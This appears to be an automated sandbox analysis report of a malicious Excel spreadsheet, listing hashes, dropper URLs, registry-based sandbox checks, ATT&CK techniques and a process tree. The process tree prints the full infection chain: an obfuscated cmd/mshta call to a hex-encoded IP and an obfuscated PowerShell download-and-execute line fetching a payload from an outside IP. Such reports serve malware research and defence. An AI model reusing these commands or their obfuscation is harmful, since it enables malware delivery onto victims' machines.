4b90a0d2855800baf3485d8e0c38ec0e5aea83050ceeb38061af07eca0d16feb

General

Target
c3860c8e0968f20713e4c90592d7bee1.xls
Size 141KB
Sample220120-t8tlcsagbq
SHA256 4b90a0d2855800baf3485d8e0c38ec0e5aea83050ceeb38061af07eca0d16feb
MD5 c3860c8e0968f20713e4c90592d7bee1
SHA1 ca12a4b1af3f45e98f487db3c6b1c503dab0ec45
SHA512 65580d9e81a3886e4215a93010d864661090e965f581f65db3d202c87c801785608c2d92ff186168d839096e7ede847216627f677258f4b076670453e13292b6
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper
http://0xb907d607/fer/fer.html

Extracted

Language

ps1

Deobfuscated

Source

URLs

ps1.dropper
http://185.7.214.7/fer/fer.png

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1908	3032	cmd.exe	51

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3372	1920	WerFault.exe	62

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3032	EXCEL.EXE

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
3032	EXCEL.EXE
3032	EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
3032	EXCEL.EXE
3032	EXCEL.EXE
3032	EXCEL.EXE
3032	EXCEL.EXE
3032	EXCEL.EXE
3032	EXCEL.EXE
3032	EXCEL.EXE
3032	EXCEL.EXE
3032	EXCEL.EXE
3032	EXCEL.EXE
3032	EXCEL.EXE
3032	EXCEL.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3032 wrote to memory of 640	3032	EXCEL.EXE	56
PID 3032 wrote to memory of 640	3032	EXCEL.EXE	56
PID 3032 wrote to memory of 1908	3032	EXCEL.EXE	60
PID 3032 wrote to memory of 1908	3032	EXCEL.EXE	60
PID 1908 wrote to memory of 1920	1908	cmd.exe	62
PID 1908 wrote to memory of 1920	1908	cmd.exe	62

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\c3860c8e0968f20713e4c90592d7bee1.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3032
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:640
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1908
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fer.html
    3⤵
    PID:1920
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fer.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      PID:556
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 1920 -s 1728
      4⤵
      Program crash
      PID:3372

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p
1⤵
PID:3996

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow
1⤵
PID:3296

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 428 -p 1920 -ip 1920
1⤵
PID:2508

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/3032-130-0x00007FF8A6690000-0x00007FF8A66A0000-memory.dmp

Download

memory/3032-132-0x00007FF8A6690000-0x00007FF8A66A0000-memory.dmp

Download

memory/3032-131-0x00007FF8A6690000-0x00007FF8A66A0000-memory.dmp

Download

memory/3032-133-0x00007FF8A6690000-0x00007FF8A66A0000-memory.dmp

Download

memory/3032-134-0x00007FF8A6690000-0x00007FF8A66A0000-memory.dmp

Download

memory/3032-137-0x00007FF8A4630000-0x00007FF8A4640000-memory.dmp

Download

memory/3032-138-0x00007FF8A4630000-0x00007FF8A4640000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads